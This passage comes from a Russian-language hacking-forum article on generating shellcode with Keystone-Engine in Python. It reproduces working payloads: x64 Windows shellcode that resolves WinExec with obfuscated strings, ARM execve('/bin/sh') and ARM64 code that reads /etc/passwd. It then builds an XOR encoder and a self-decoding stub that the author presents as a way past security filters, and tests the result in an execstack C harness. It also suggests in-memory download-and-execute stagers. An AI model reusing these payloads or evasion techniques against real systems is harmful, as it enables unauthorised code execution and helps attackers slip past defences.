    "push rcx                     ;"  # push the string length counter to stack
    "loop:                        ;"
    "mov rcx, [rsp]               ;"  # reset the string length counter from the stack
    "xor rdi,rdi                  ;"  # Clear RDI for setting up string name retrieval
    "mov edi, [r11+rax*4]         ;"  # EDI = RVA NameString = [&NamePointerTable + (Counter * 4)]
    "add rdi, r8                  ;"  # RDI = &NameString    = RVA NameString + &kernel32.dll
    "mov rsi, rdx                 ;"  # RSI = Address of API Name String to match on the Stack  (reset to start of string)
    "repe cmpsb                   ;"  # Compare strings at RDI & RSI
    "je resolveaddr               ;"  # If match then we found the API string. Now we need to find the Address of the API
    "incloop:                     ;"
    "inc rax                      ;"
    "jmp loop                     ;"

    #; Find the address of GetProcAddress by using the last value of the Counter
    "resolveaddr:                 ;"
    "pop rcx                      ;"  # remove string length counter from top of stack
    "mov ax, [r12+rax*2]          ;"  # RAX = [&OrdinalTable + (Counter*2)] = ordinalNumber of kernel32.
    "mov eax, [r10+rax*4]         ;"  # RAX = RVA API = [&AddressTable + API OrdinalNumber]
    "add rax, r8                  ;"  # RAX = Kernel32. = RVA kernel32. + kernel32.dll BaseAddress
    "push rbx                     ;"  # place the return address from the api string call back on the top of the stack
    "ret                          ;"  # return to API caller

    "apis:                        ;"  # API Names to resolve addresses
    # WinExec | String length : 7
    "xor rcx, rcx                 ;"
    "add cl, 0x7                  ;"  # String length for compare string
    "mov rax, 0x9C9A87BA9196A80F  ;"  # not 0x9C9A87BA9196A80F = 0xF0,WinExec
    "not rax                      ;"  # mov rax, 0x636578456e6957F0 ; cexEniW,0xF0 : 636578456e6957F0 - Did Not to avoid WinExec returning from strings static analysis
    "shr rax, 0x8                 ;"  # xEcoll,0xFFFF --> 0x0000,xEcoll
    "push rax                     ;"
    "push rcx                     ;"  # push the string length counter to stack
    "call getapiaddr              ;"  # Get the address of the API from Kernel32.dll ExportTable
    "mov r14, rax                 ;"  # R14 = Kernel32.WinExec Address

    # UINT WinExec(
    #   LPCSTR lpCmdLine,    => RCX = "calc.exe",0x0
    #   UINT   uCmdShow      => RDX = 0x1 = SW_SHOWNORMAL
    # );
    "xor rcx, rcx                 ;"
    "mul rcx                      ;"  # RAX & RDX & RCX = 0x0
    # calc.exe | String length : 8
    "push rax                     ;"  # Null terminate string on stack
    "mov rax, 0x9A879AD19C939E9C  ;"  # not 0x9A879AD19C939E9C = "calc.exe"
    "not rax                      ;"
    # mov rax, 0x6578652e636c6163 ;" # exe.clac : 6578652e636c6163
    "push rax                     ;"  # RSP = "calc.exe",0x0
    "mov rcx, rsp                 ;"  # RCX = "calc.exe",0x0
    "inc rdx                      ;"  # RDX = 0x1 = SW_SHOWNORMAL
    "sub rsp, 0x20                ;"  # WinExec clobbers first 0x20 bytes of stack (Overwrites our command string when proxied to CreatProcessA)
    "call r14                     ;"  # Call WinExec("calc.exe", SW_HIDE)
)



original_sc = r"\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2\x48\x83\xec\x20\x41\xff\xd6"

try:
    ks = Ks(KS_ARCH_X86, KS_MODE_64)
    encoding, count = ks.asm(SHELLCODE_SRC)
 
    hex_str = "".join(f"\\x{opcode:02x}" for opcode in encoding)
    print("bytecode:", f'"{hex_str}"')
    print("\n")
    print("original:", f'"{original_sc}"');
    print(original_sc == hex_str)
except KsError as e:
    print("ERROR: %s" %e)

Тут у нас кроме меток, так же присутствует инструкция короткого перехода jmp short к метке apis. Keystone-Engine не поддерживает короткие переходы, а в место он этого сам подсчитывает смещение до нужного участка кода, поэтому тут мы заменили короткий переход на обычный, используя jmp apis.

1751144280935.png


По результату можем видеть, что несмотря на то, что мы заменили инструкцию короткого перехода, keystone всё равно отранслировал и подсчитал смещение, а отранслированные инструкции идентичны оригинальному байт-коду шелл-кода.

arm​

Теперь арм ....

Linux/ARM - execve("/bin/sh","/bin/sh",0) - 30 bytes

C:
/*
Title:  Linux/ARM - execve("/bin/sh","/bin/sh",0) - 30 bytes
Date:   2010-06-28
Tested: ARM926EJ-S rev 5 (v5l)

Author: Jonathan Salwan
Web:    http://shell-storm.org | http://twitter.com/jonathansalwan

! Database of shellcodes http://www.shell-storm.org/shellcode/


    8054:    e28f3001     add    r3, pc, #1    ; 0x1
    8058:    e12fff13     bx    r3
    805c:    4678          mov    r0, pc
    805e:    300a          adds    r0, #10
    8060:    9001          str    r0, [sp, #4]
    8062:    a901          add    r1, sp, #4
    8064:    1a92          subs    r2, r2, r2
    8066:    270b          movs    r7, #11
    8068:    df01          svc    1
    806a:    2f2f          cmp    r7, #47
    806c:    6962          ldr    r2, [r4, #20]
    806e:    2f6e          cmp    r7, #110
    8070:    6873          ldr    r3, [r6, #4]
*/

#include <stdio.h>

char *SC = "\x01\x30\x8f\xe2"
           "\x13\xff\x2f\xe1"
           "\x78\x46\x0a\x30"
           "\x01\x90\x01\xa9"
           "\x92\x1a\x0b\x27"
           "\x01\xdf\x2f\x2f"
           "\x62\x69\x6e\x2f"
           "\x73\x68";

int main(void)
{
        fprintf(stdout,"Length: %d\n",strlen(SC));
        (*(void(*)()) SC)();
return 0;
}

Тут не много сложнее ... Так, как представленный ассемблерный код работает в двух режимах: ".ARM", ".THUMB"; видно это по следующему признаку, размер первых двух инструкций по 4 байта, далее идут двух-байтовые инструкции и поэтому оттранслировать ассемблерный код с одного захода не получится...

1751144339503.png


Эта проблема решается следующим образом, для начала разобьем ассемблерный листинг на две части, а затем напишем функцию, которая будет принимать два аргумента. Первый аргумент будет принимать ассемблерный листинг, а второй менять режим с KS_MODE_ARM на KS_MODE_THUMB. А значение архитектуры KS_ARCH_ARM остаётся константным и не меняется. Эта функция будет вызываться два раза, так, как мы обработаем сначала листинг №1, а затем листинг №2, далее полученный результат при первом вызове сохраним и объединим со вторым (конкатенация строк), и таким образом получим полную цепочку байтов для данного шелл-кода. Вот код функции.

Python:
def asm_translator(code, mode):
    ks = Ks(KS_ARCH_ARM, mode)
    encoding, count = ks.asm(code)
    return encoding

Так же обратите внимание на переменную count в этой функции, что она не используется вместе с оператором return, а возвращается только значение переменной encoding. Делается это по той причине, что метод asm() объекта ks, возвращает кортеж вида ([65, 74], 2). Поэтому если бы мы использовали одну переменную в строке encoding = ks.asm(code) в место двух, она бы содержала такой кортеж, а это не совсем удобно, тогда бы мы использовали return encoding[0] - для возврата опкодов и return encoding[1] - для возврата количества инструкций. Но это всё мелочи... Собсвенно ниже представлен полный код, позволяющий сгенерировать шелл-код.


Python:
from keystone import *

def asm_translator(code, mode):
    ks = Ks(KS_ARCH_ARM, mode)
    encoding, count = ks.asm(code)
    return encoding

# Режим .ARM
# test_ks(KS_ARCH_ARM, KS_MODE_ARM, "sub r1, r2, r5", 0);
SHELLCODE_SRC1 = (
    "add r3, pc, #1;"       # "\x01\x30\x8f\xe2"
    "bx    r3;"                # "\x13\xff\x2f\xe1"
)

# Режим .Thumb
# test_ks(KS_ARCH_ARM, KS_MODE_THUMB, "movs r4, #0xf0", 0);
SHELLCODE_SRC2 = (
    "mov    r0, pc;"        # "\x78\x46"
    "adds    r0, #10;"       # "\x0a\x30"
    "str    r0, [sp, #4];"  # "\x01\x90"
    "add    r1, sp, #4;"    # "\x01\xa9"
    "subs    r2, r2, r2;"    # "\x92\x1a"
    "movs    r7, #11;"       # "\x0b\x27"
    "svc    1;"             # "\x01\xdf"
    "cmp    r7, #47;"       # "\x2f\x2f"
    "ldr    r2, [r4, #20];" # "\x62\x69"
    "cmp    r7, #110;"        # "\x6e\x2f"
    "ldr    r3, [r6, #4];"  # "\x73\x68"
)


original_sc = r"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0a\x30\x01\x90\x01\xa9\x92\x1a\x0b\x27\x01\xdf\x2f\x2f\x62\x69\x6e\x2f\x73\x68"


arm_encoding = asm_translator(SHELLCODE_SRC1, KS_MODE_ARM)
hex_str = "".join(f"\\x{opcode:02x}" for opcode in arm_encoding)

thumb_encoding = asm_translator(SHELLCODE_SRC2, KS_MODE_THUMB)
hex_str += "".join(f"\\x{opcode:02x}" for opcode in thumb_encoding)

print("bytecode:", f'"{hex_str}"')
print("original:", f'"{original_sc}"');
print(original_sc == hex_str)

результат

1751144399770.png


arm64​

Теперь арм64

Linux/ARM64 - Read /etc/passwd Shellcode (120 Bytes)

C:
/*
# Title:  Linux/ARM64 - Read /etc/passwd Shellcode (120 Bytes)
# Date:   2019-06-30
# Tested: Ubuntu 16.04 (aarch64)
# Author: Ken Kitahara
# Compilation: gcc -o loader loader.c


ubuntu@ubuntu:~/works$ lsb_release -a
No LSB modules are available.
Distributor ID:    Ubuntu
Description:    Ubuntu Xenial Xerus (development branch)
Release:    16.04
Codename:    xenial
ubuntu@ubuntu:~/works$ uname -a
Linux ubuntu 4.2.0-16-generic #19-Ubuntu SMP Thu Oct 8 15:00:45 UTC 2015 aarch64 aarch64 aarch64 GNU/Linux
ubuntu@ubuntu:~/works$ cat passwd.s
.section .text
.global _start
_start:
    // fd = openat(0, "/etc/passwd", O_RDONLY)
    mov  x0, xzr
    mov  x1, #0x7773
    movk x1, #0x64, lsl #16
    str  x1, [sp, #-8]!
    mov  x1, #0x652f
    movk x1, #0x6374, lsl #16
    movk x1, #0x702f, lsl #32
    movk x1, #0x7361, lsl #48
    str  x1, [sp, #-8]!
    add  x1, sp, x0
    mov  x2, xzr
    mov  x8, #56
    svc  #0x1337

    mvn  x3, x0

    // read(fd, *buf, size)
    mov  x2, #0xfff
    sub  sp, sp, x2
    mov  x8, xzr
    add  x1, sp, x8
    mov  x8, #63
    svc  #0x1337

    // write(1, *buf, size)
    str  x0, [sp, #-8]!
    lsr  x0, x2, #11
    ldr  x2, [sp], #8
    mov  x8, #64
    svc  #0x1337

    // status = close(fd)
    mvn  x0, x3
    mov  x8, #57
    svc  #0x1337

    // exit(status)
    mov  x8, #93
    svc  #0x1337
ubuntu@ubuntu:~/works$ as -o passwd.o passwd.s && ld -o passwd passwd.o
ubuntu@ubuntu:~/works$ objdump -d ./passwd

./passwd:     file format elf64-littleaarch64


Disassembly of section .text:

0000000000400078 <_start>:
  400078:    aa1f03e0     mov    x0, xzr
  40007c:    d28eee61     mov    x1, #0x7773                    // #30579
  400080:    f2a00c81     movk    x1, #0x64, lsl #16
  400084:    f81f8fe1     str    x1, [sp,#-8]!
  400088:    d28ca5e1     mov    x1, #0x652f                    // #25903
  40008c:    f2ac6e81     movk    x1, #0x6374, lsl #16
  400090:    f2ce05e1     movk    x1, #0x702f, lsl #32
  400094:    f2ee6c21     movk    x1, #0x7361, lsl #48
  400098:    f81f8fe1     str    x1, [sp,#-8]!
  40009c:    8b2063e1     add    x1, sp, x0
  4000a0:    aa1f03e2     mov    x2, xzr
  4000a4:    d2800708     mov    x8, #0x38                      // #56
  4000a8:    d40266e1     svc    #0x1337
  4000ac:    aa2003e3     mvn    x3, x0
  4000b0:    d281ffe2     mov    x2, #0xfff                     // #4095
  4000b4:    cb2263ff     sub    sp, sp, x2
  4000b8:    aa1f03e8     mov    x8, xzr
  4000bc:    8b2863e1     add    x1, sp, x8
  4000c0:    d28007e8     mov    x8, #0x3f                      // #63
  4000c4:    d40266e1     svc    #0x1337
  4000c8:    f81f8fe0     str    x0, [sp,#-8]!
  4000cc:    d34bfc40     lsr    x0, x2, #11
  4000d0:    f84087e2     ldr    x2, [sp],#8
  4000d4:    d2800808     mov    x8, #0x40                      // #64
  4000d8:    d40266e1     svc    #0x1337
  4000dc:    aa2303e0     mvn    x0, x3
  4000e0:    d2800728     mov    x8, #0x39                      // #57
  4000e4:    d40266e1     svc    #0x1337
  4000e8:    d2800ba8     mov    x8, #0x5d                      // #93
  4000ec:    d40266e1     svc    #0x1337
ubuntu@ubuntu:~/works$ objcopy -O binary passwd passwd.bin
ubuntu@ubuntu:~/works$ hexdump -v -e '"\\""x" 1/1 "%02x" ""' passwd.bin && echo
\xe0\x03\x1f\xaa\x61\xee\x8e\xd2\x81\x0c\xa0\xf2\xe1\x8f\x1f\xf8\xe1\xa5\x8c\xd2\x81\x6e\xac\xf2\xe1\x05\xce\xf2\x21\x6c\xee\xf2\xe1\x8f\x1f\xf8\xe1\x63\x20\x8b\xe2\x03\x1f\xaa\x08\x07\x80\xd2\xe1\x66\x02\xd4\xe3\x03\x20\xaa\xe2\xff\x81\xd2\xff\x63\x22\xcb\xe8\x03\x1f\xaa\xe1\x63\x28\x8b\xe8\x07\x80\xd2\xe1\x66\x02\xd4\xe0\x8f\x1f\xf8\x40\xfc\x4b\xd3\xe2\x87\x40\xf8\x08\x08\x80\xd2\xe1\x66\x02\xd4\xe0\x03\x23\xaa\x28\x07\x80\xd2\xe1\x66\x02\xd4\xa8\x0b\x80\xd2\xe1\x66\x02\xd4

*/

#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>

int (*sc)();

char shellcode[] =
"\xe0\x03\x1f\xaa\x61\xee\x8e\xd2\x81\x0c\xa0\xf2\xe1\x8f\x1f\xf8"
"\xe1\xa5\x8c\xd2\x81\x6e\xac\xf2\xe1\x05\xce\xf2\x21\x6c\xee\xf2"
"\xe1\x8f\x1f\xf8\xe1\x63\x20\x8b\xe2\x03\x1f\xaa\x08\x07\x80\xd2"
"\xe1\x66\x02\xd4\xe3\x03\x20\xaa\xe2\xff\x81\xd2\xff\x63\x22\xcb"
"\xe8\x03\x1f\xaa\xe1\x63\x28\x8b\xe8\x07\x80\xd2\xe1\x66\x02\xd4"
"\xe0\x8f\x1f\xf8\x40\xfc\x4b\xd3\xe2\x87\x40\xf8\x08\x08\x80\xd2"
"\xe1\x66\x02\xd4\xe0\x03\x23\xaa\x28\x07\x80\xd2\xe1\x66\x02\xd4"
"\xa8\x0b\x80\xd2\xe1\x66\x02\xd4";

int main(int argc, char **argv) {
    printf("Shellcode Length: %zd Bytes\n", strlen(shellcode));

    void *ptr = mmap(0, 0x100, PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);

    if (ptr == MAP_FAILED) {
        perror("mmap");
        exit(-1);
    }

    memcpy(ptr, shellcode, sizeof(shellcode));
    sc = ptr;

    sc();

    return 0;
}

Переносим указывая KS_ARCH_ARM64, KS_MODE_LITTLE_ENDIAN

Python:
from keystone import *

SHELLCODE_SRC = (
    "mov  x0, xzr ;"              # "\xe0\x03\x1f\xaa"
    "mov  x1, #0x7773 ;"          # "\x61\xee\x8e\xd2"
    "movk x1, #0x64, lsl #16 ;"   # "\x81\x0c\xa0\xf2"
    "str  x1, [sp, #-8]! ;"       # "\xe1\x8f\x1f\xf8"
    "mov  x1, #0x652f ;"          # "\xe1\xa5\x8c\xd2"
    "movk x1, #0x6374, lsl #16 ;" # "\x81\x6e\xac\xf2"
    "movk x1, #0x702f, lsl #32 ;" # "\xe1\x05\xce\xf2"
    "movk x1, #0x7361, lsl #48 ;" # "\x21\x6c\xee\xf2"
    "str  x1, [sp, #-8]! ;"       # "\xe1\x8f\x1f\xf8"
    "add  x1, sp, x0 ;"           # "\xe1\x63\x20\x8b"
    "mov  x2, xzr ;"              # "\xe2\x03\x1f\xaa"
    "mov  x8, #56 ;"              # "\x08\x07\x80\xd2"
    "svc  #0x1337 ;"              # "\xe1\x66\x02\xd4"
    "mvn  x3, x0 ;"               # "\xe3\x03\x20\xaa"
    #// read(fd, *buf, size)
    "mov  x2, #0xfff ;"           # "\xe2\xff\x81\xd2"
    "sub  sp, sp, x2 ;"           # "\xff\x63\x22\xcb"
    "mov  x8, xzr ;"              # "\xe8\x03\x1f\xaa"
    "add  x1, sp, x8 ;"           # "\xe1\x63\x28\x8b"
    "mov  x8, #63 ;"              # "\xe8\x07\x80\xd2"
    "svc  #0x1337 ;"              # "\xe1\x66\x02\xd4"
    #// write(1, *buf, size)
    "str  x0, [sp, #-8]! ;"       # "\xe0\x8f\x1f\xf8"
    "lsr  x0, x2, #11 ;"          # "\x40\xfc\x4b\xd3"
    "ldr  x2, [sp], #8 ;"         # "\xe2\x87\x40\xf8"
    "mov  x8, #64 ;"              # "\x08\x08\x80\xd2"
    "svc  #0x1337 ;"              # "\xe1\x66\x02\xd4"
    #// status = close(fd)
    "mvn  x0, x3 ;"               # "\xe0\x03\x23\xaa"
    "mov  x8, #57 ;"              # "\x28\x07\x80\xd2"
    "svc  #0x1337 ;"              # "\xe1\x66\x02\xd4"
    #// exit(status)
    "mov  x8, #93 ;"              # "\xa8\x0b\x80\xd2"
    "svc  #0x1337 ;"              # "\xe1\x66\x02\xd4"
)


original_sc = r"\xe0\x03\x1f\xaa\x61\xee\x8e\xd2\x81\x0c\xa0\xf2\xe1\x8f\x1f\xf8\xe1\xa5\x8c\xd2\x81\x6e\xac\xf2\xe1\x05\xce\xf2\x21\x6c\xee\xf2\xe1\x8f\x1f\xf8\xe1\x63\x20\x8b\xe2\x03\x1f\xaa\x08\x07\x80\xd2\xe1\x66\x02\xd4\xe3\x03\x20\xaa\xe2\xff\x81\xd2\xff\x63\x22\xcb\xe8\x03\x1f\xaa\xe1\x63\x28\x8b\xe8\x07\x80\xd2\xe1\x66\x02\xd4\xe0\x8f\x1f\xf8\x40\xfc\x4b\xd3\xe2\x87\x40\xf8\x08\x08\x80\xd2\xe1\x66\x02\xd4\xe0\x03\x23\xaa\x28\x07\x80\xd2\xe1\x66\x02\xd4\xa8\x0b\x80\xd2\xe1\x66\x02\xd4"

try:
    ks = Ks(KS_ARCH_ARM64, KS_MODE_LITTLE_ENDIAN)
    encoding, count = ks.asm(SHELLCODE_SRC)
 
    hex_str = "".join(f"\\x{opcode:02x}" for opcode in encoding)
    print("bytecode:", f'"{hex_str}"')
    print("\n")
    print("original:", f'"{original_sc}"');
    print(original_sc == hex_str)
except KsError as e:
    print("ERROR: %s" %e)

Результат

1751144491089.png


Как показал тест, процесс переноса ассемблерного кода для x86, x64, arm и arm64 в keystone-engine очень простой. При чем, мы не получили не каких "невалидных" опкодов т.е. ошибок. Все оттранслированные ассемблерные листинги были точно сконвертированы в байт-код, который идентичен оригинальному байт-коду. И как вы уже заметили, генерация шелл-кода c keystone-engine становится очень простой. В принципе уже на этом этапе можно делать крутые вещи, а именно сделать стейджер, который загружает с сервера сгенерированный шелл-код и исполняет его в памяти на лету, при этом шелл-код будет декодировать сам себя в памяти. Поэтому давайте реализуем самую интересную часть, а именно энкодер и декодер и посмотрим, как с этим справится keystone-egine, чтобы еще раз продемонстрировать его возможности.

Энкодеры и декодеры​

Собственно в контексте шелл-кода, под энкодером и декодером обычно подразумевают две взаимосвязанные части. Энкодер это небольшая утилита или скрипт, который берет шелл-код и преобразует его в закодированную форму. Целью энкодера обычно является преобразование байтов шелл-кода таким образом, чтобы в конечном итоге эти байты смогли обойти фильтры безопасности. Декодер же наоборот, берет эти закодированные байты и преобразует их обратно в исходную форму. По сути декодер это еще один шелл-код, который расшифровывает основую боевую нагрузку в памяти и затем выполняет её.

С помощью Keystone-Engine тоже можно генерировать (транслировать) стаб-декодеры, вот только при попытке использовать такие директивы как: db, dw, dd, dq вы получите ошибку. Keystone-Engine не позволяет из коробки транслировать ассемблерные листинги в которых есть такие директивы. Но использовать их можно, если подключить синтаксис NASM. С этим синтаксисом есть еще один нюанс, когда мы его подключаем, точка с запятой становится не разделителем инструкциий, а привычным для нас способом оставить комментарий в коде. Поэтому для разделения инструкций нужно будет использовать символ новой строки - "\n". Тогда такой код будет работать.

Код:
"xor eax, eax \n"
"my_vals:     "
"db 0x41    \n"
"db 0x42    \n"
"db 0x43     "

Но если вам всё же не нравится этот способ разделения инструкций и символ новый строки вам мазолит глаза, тогда можно воспользоваться средствами самого языка python и использовать докстринги т.е.трёхкавычечные строковые литералы, которые позволяют хранить текст с переносами строк.

Python:
var = """ dsadas """
var = f""" dsadas """

Вот пример кода с подключенным NASM синтаксисом и директивами: db, dw, dd, dq.

Python:
from keystone import *

def asm_translator(asm_src):
    ks = Ks(KS_ARCH_X86, KS_MODE_32)
    ks.syntax = KS_OPT_SYNTAX_NASM
    encoding, count = ks.asm(asm_src)
    return encoding


ASM_SRC = """
; i am comment
; i am comment
; i am comment
; i am comment

vals_word:
    dw 0x0001 ; i am comment
    dw 1234
    dw -1
 
vals_dword_:
    dd 0x11223344
    dd 42
    dd vals_word
 
vals_qword:
    dq 0x0102030405060708
 
mix_vals:
    db 0x41        
    dw 0x4142    
    dd 0x43444546
    dq 0x4748494A4B4C4D4E
 
"""


bytecode = asm_translator(ASM_SRC)
result = "".join(f"\\x{byte:02x}" for byte in bytecode)
print("bytes: ", result)


Но, как я и говорил ранеее, лучше всего переносить код построчно, и только потом, когда вы уже уверены в правильной трансляции, можно будет использовать такой формат.

И так... Теперь когда у нас есть необходимые познания как работать с keystone-engine более тесно, можно приступать к портированию своего первого стаб-декодера. На данном этапе нам совершенно не важно на сколько "уникальным" будет энкодер и декодер. Подойдет даже обычное xor шифрование, ведь основная цель на сегодня у нас это познакомиться с Keystone-Engine в контексте генерации шелл-кода и как это можно применить в своих проектах. Вот только разработка собственного энкодера и декодера дело интимное, поэтому давайте возьмем какой-нибудь уже готовый энкодер\декодер, который зашифрует\дешифрует наш шелл-код.

Ниже представлен код декодера

Код:
global _start
section .text

_start:
        jmp short call_shellcode ; using the jump, call and pop method to get into our shellcode

decoder:
        pop rsi                  ; get the address of EncodedShellcode into rsi

decode:
        mov bl, byte [rsi]       ; moving current byte from shellcode string
        xor bl, 0xff             ; checking if we are done decoding and should
                                 ; jump directly to our shell code
                           
        jz EncodedShellcode      ; if the current value being evaluated is 0xff
                                 ; then we are at the end of the string

        mov byte [rsi], bl       ; a by product of the xor is that we get the difference
                                 ; between 0xff and the current encoded byte being evaluated
                                 ; which is infact the actual instruction value to execute!

        inc rsi                  ; move to next byte to be evaluated in our shellcode

        jmp short decode         ; run through decode again

call_shellcode:
        call decoder    ; call our decoder routine

        ; this is our encoded shell string
EncodedShellcode: db "тут будет поксоренный шелл-код" ,0xff

Теперь возьмем этот декодер без шелл-кода и скомпилируем его в Linux, чтобы получить байты и затем их сравним с байтами из декодера в keystone-egine. А место шелл-кода подставим четыре байта 0x41 для наглядности (будто бы это шелл-код).

Код:
nasm -f elf64 -o decoder.o  decoder.asm
ld -o decoder decoder.o
objdump -d ./decoder|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

1751144627358.png


Получили последовательность байтов....

Код:
"\xeb\x0f\x5e\x8a\x1e\x80\xf3\xff\x74\x0c\x88\x1e\x48\xff\xc6\xeb\xf2\xe8\xec\xff\xff\xff\x41\x41\x41\x41\xff"

Теперь эту строку мы сравним с оттранслированным декодером в keystone

Python:
from keystone import *

def asm_translator(asm_src):
    ks = Ks(KS_ARCH_X86, KS_MODE_64)
    ks.syntax = KS_OPT_SYNTAX_NASM
    encoding, count = ks.asm(asm_src)
    return encoding


DECODER_SRC = """
_start:
        jmp call_shellcode ; using the jump, call and pop method to get into our shellcode

decoder:
        pop rsi                  ; get the address of EncodedShellcode into rsi

decode:
        mov bl, byte [rsi]       ; moving current byte from shellcode string
        xor bl, 0xff             ; checking if we are done decoding and should
                                 ; jump directly to our shell code
                           
        jz EncodedShellcode      ; if the current value being evaluated is 0xff
                                 ; then we are at the end of the string

        mov byte [rsi], bl       ; a by product of the xor is that we get the difference
                                 ; between 0xff and the current encoded byte being evaluated
                                 ; which is infact the actual instruction value to execute!

        inc rsi                  ; move to next byte to be evaluated in our shellcode

        jmp decode         ; run through decode again

call_shellcode:
        call decoder    ; call our decoder routine

        ; this is our encoded shell string
EncodedShellcode:
    db 0x41, 0x41, 0x41, 0x41 ,0xff
"""

original_sc = r"\xeb\x0f\x5e\x8a\x1e\x80\xf3\xff\x74\x0c\x88\x1e\x48\xff\xc6\xeb\xf2\xe8\xec\xff\xff\xff\x41\x41\x41\x41\xff"

decoder = asm_translator(DECODER_SRC)
result = "".join(f"\\x{byte:02x}" for byte in decoder)
print("bytecode:", f'"{result}"')
print("original:", f'"{original_sc}"');
print(original_sc == result)

результат

1751144686926.png


Отлично байты одинаковые.... теперь объединим все части в один конвеер.

Схема у нас будет такая.

1. Транслируем ассемблерный листинг шелл-кода, чтобы получить байт-код (исходный шелл-код)
2. Полученный шел-код шифруем с помощью энкодера
3. Передаем результат работы энкодера в листинг декодера
4. Транслируем ассемблерный листинг декодера
5. На выходе получаем закодированный шелл-код, который сам себя декодирует

Ниже представлен полный код (так же я убрал комментарии из кода, чтобы они не мусолили глаза)

Python:
from keystone import *

def asm_translator(asm_src):
    ks = Ks(KS_ARCH_X86, KS_MODE_64)
    ks.syntax = KS_OPT_SYNTAX_NASM
    encoding, count = ks.asm(asm_src)
    return encoding

SHELLCODE_SRC = f"""
_start:
    push rax
    xor rdx, rdx
    xor rsi, rsi
    movabs rbx, 0x68732f2f6e69622f
    push rbx
    push rsp
    pop rdi
    mov al, 0x3b
    syscall
"""

shellcode = asm_translator(SHELLCODE_SRC)

random_key = 0xFF
# random_key = random.randint(0x01, 0xFF)
encrypted_shellcode = [hex(random_key ^ byte) for byte in shellcode]
encrypted_shellcode.append(hex(random_key))

DECODER_SRC = f"""
_start:
    jmp call_shellcode
decoder:
    pop rsi
decode:
    mov bl, byte [rsi]
    xor bl, {hex(random_key)}
    jz EncodedShellcode
    mov byte [rsi], bl
    inc rsi
    jmp decode
call_shellcode:
    call decoder
EncodedShellcode:
    db {', '.join(encrypted_shellcode)}
"""

decoder = asm_translator(DECODER_SRC)
result = "".join(f"\\x{byte:02x}" for byte in decoder)
print("decoder:", f'"{result}"')

результат

1751144786511.png


А теперь самое главное, протестируем этот код.

C:
#include <stdio.h>
#include <string.h>

int main(void)
{
    unsigned char code[] = "\xeb\x0f\x5e\x8a\x1e\x80\xf3\xff\x74\x0c\x88\x1e\x48\xff\xc6\xeb\xf2\xe8\xec\xff\xff\xff\xaf\xb7\xce\x2d\xb7\xce\x09\xb7\x44\xd0\x9d\x96\x91\xd0\xd0\x8c\x97\xac\xab\xa0\x4f\xc4\xf0\xfa\xff";

    printf("Shellcode length: %ld\n", strlen(code));

    void (*s)() = (void *)code;
    s();

    return 0;
}

Компилируем

Код:
gcc -fno-stack-protector -z execstack test_decoder.c -o shell

Запускаем

1751144848713.png



Бум, победа! На этом всё... Пишите в комментариях, что вы думаете о таком подходе к построению таких автоматизированных, умных, таргетированых боевых нагрузок. Конечно многое осталось за кадром, но всё же....


Автор: weaver
Написано специально для xss.pro (c)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх